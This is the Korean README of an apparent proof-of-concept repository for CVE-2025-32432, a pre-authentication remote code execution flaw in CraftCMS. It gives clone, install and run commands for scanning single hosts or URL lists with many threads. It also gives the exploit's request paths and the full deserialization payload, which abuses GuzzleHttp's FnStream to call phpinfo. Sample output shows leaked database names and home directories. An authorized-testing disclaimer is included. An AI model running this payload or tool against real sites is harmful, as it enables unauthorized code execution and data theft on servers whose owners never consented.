
이 저장소에는 CraftCMS 4.x 및 5.x 버전에 영향을 미치는 인증 전 원격 코드 실행(RCE) 취약점인 CVE-2025-32432에 대한 개념 증명(PoC) 익스플로잇 스크립트가 포함되어 있습니다. 이 취약점은 CraftCMS의 자산 변환(asset transform) 생성 기능에 존재합니다.
이 저장소는 CraftCMS 4.x 및 5.x 버전에 영향을 미치는 사전 인증 원격 코드 실행(RCE) 취약점인 CVE-2025-32432에 대한 개념 증명 익스플로잇 스크립트를 포함합니다. 이 취약점은 CraftCMS의 자산 변환 생성 기능에 존재합니다.
이 익스플로잇 스크립트는 다음을 통해 취약점 탐지 및 확인을 자동화합니다:
⚠️ 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
이 도구는 명시적 테스트 허가를 받은 시스템에 대해서만 사용하십시오. 허가 없이 시스템을 무단 테스트하는 것은 불법이며 비윤리적입니다.
# Clone the repository
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Install required dependencies
pip install -r requirements.txt
단일 대상 스캔:
python3 craftcms_rce.py -u example.com
파일에서 여러 대상 스캔 (한 줄에 하나의 URL):
python3 craftcms_rce.py -f urls.txt -t 10
여기서 -t는 사용할 스레드 수를 지정합니다 (기본값은 5).
-u, --url 테스트할 단일 URL
-f, --file 테스트할 URL이 포함된 파일 (한 줄에 하나)
-t, --threads 스레드 수 (기본값: 5)
-h, --help 도움말 메시지 표시 및 종료
스크립트는 결과를 콘솔에 출력하고 취약한 대상을 다음 열을 포함한 CSV 형식으로 vulnerable.txt에 저장합니다:
콘솔 출력 예시:
[*] Testing single target: https://example.com
[*] Starting scan with 5 threads
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
이 취약점은 CraftCMS의 역직렬화 문제를 이용합니다. 익스플로잇은 다음과 같이 작동합니다:
/index.php?p=admin/dashboard로 GET 요청을 보냅니다./index.php?p=admin/actions/assets/generate-transform으로 POST 요청을 보냅니다.GuzzleHttp\Psr7\FnStream 클래스를 통한 임의 코드 실행이 발생합니다.phpinfo()를 실행하고 특정 시스템 정보를 추출하여 성공적인 악용을 확인합니다.이 익스플로잇은 자산 변환 생성 과정의 안전하지 않은 역직렬화를 이용합니다. 취약한 코드 경로를 통해 공격자는 역직렬화되는 사용자 정의 PHP 객체를 주입하여 임의 코드 실행을 유발할 수 있습니다.
페이로드의 주요 구성 요소는 다음과 같습니다:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
기여, 이슈 제보, 기능 요청은 언제나 환영합니다! 이슈 페이지를 확인해 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.